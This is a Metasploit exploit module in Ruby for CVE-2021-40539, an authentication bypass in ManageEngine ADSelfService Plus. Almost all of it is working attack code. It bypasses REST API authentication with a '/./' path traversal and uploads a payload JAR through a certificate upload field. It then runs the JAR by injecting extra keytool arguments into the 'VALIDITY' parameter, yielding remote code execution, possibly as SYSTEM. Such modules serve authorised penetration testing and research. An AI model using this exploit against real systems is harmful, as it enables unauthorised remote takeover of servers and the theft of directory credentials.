This Metasploit module exploits CVE-2021-40539, a REST API authentication bypass vulnerability in ManageEngine ADSelfService Plus, to upload a JAR and execute it as the user running ADSelfService Plus - which is SYSTEM if started as a service.
8cb55deaeb3ec1cabcdb84a511595d27
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Java::HTTP::ClassLoader # TODO: Refactor this
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADSelfService Plus CVE-2021-40539',
'Description' => %q{
This module exploits CVE-2021-40539, a REST API authentication bypass
vulnerability in ManageEngine ADSelfService Plus, to upload a JAR and
execute it as the user running ADSelfService Plus - which is SYSTEM if
started as a service.
},
'Author' => [
# Discovered by unknown threat actors
'Antoine Cervoise', # Independent analysis and RCE
'Wilfried Bécard', # Independent analysis and RCE
'mr_me', # keytool classloading technique
'wvu' # Initial analysis and module
],
'References' => [
['CVE', '2021-40539'],
['URL', 'https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html'],
['URL', 'https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis'],
['URL', 'https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html'],
['URL', 'https://github.com/synacktiv/CVE-2021-40539/blob/main/exploit.py']
],
'DisclosureDate' => '2021-09-07',
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false, # true if ADSelfService Plus is run as a service
'Targets' => [
['Java Dropper', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8888
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/./'])
])
end
def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'),
'vars_post' => {
'methodToCall' => 'previewMobLogo'
}
)
unless res
return CheckCode::Unknown('Target failed to respond to check.')
end
unless res.code == 200 && res.body.match?(%r{mobLogo.*/temp/tempMobPreview\.jpeg})
return CheckCode::Safe('Failed to bypass REST API authentication.')
end
CheckCode::Vulnerable('Successfully bypassed REST API authentication.')
end
def exploit
upload_payload_jar
execute_payload_jar
end
def upload_payload_jar
print_status("Uploading payload JAR: #{jar_filename}")
jar = payload.encoded_jar
jar.add_file("#{class_name}.class", constructor_class) # Hack, tbh
form = Rex::MIME::Message.new
form.add_part('unspecified', nil, nil, 'form-data; name="methodToCall"')
form.add_part('yas', nil, nil, 'form-data; name="Save"')
form.add_part('smartcard', nil, nil, 'form-data; name="form"')
form.add_part('Add', nil, nil, 'form-data; name="operation"')
form.add_part(jar.pack, 'application/java-archive', 'binary',
%(form-data; name="CERTIFICATE_PATH"; filename="#{jar_filename}"))
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'),
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s
)
unless res&.code == 404
fail_with(Failure::NotVulnerable, 'Failed to upload payload JAR')
end
# C:\ManageEngine\ADSelfService Plus\bin (working directory)
register_file_for_cleanup(jar_filename)
print_good('Successfully uploaded payload JAR')
end
def execute_payload_jar
print_status('Executing payload JAR')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/RestAPI/Connection'),
'vars_post' => {
'methodToCall' => 'openSSLTool',
'action' => 'generateCSR',
# https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html
'VALIDITY' => "#{rand(1..365)} -providerclass #{class_name} -providerpath #{jar_filename}"
}
)
unless res&.code == 404
fail_with(Failure::PayloadFailed, 'Failed to execute payload JAR')
end
print_good('Successfully executed payload JAR')
end
def jar_filename
@jar_filename ||= "#{rand_text_alphanumeric(8..16)}.jar"
end
end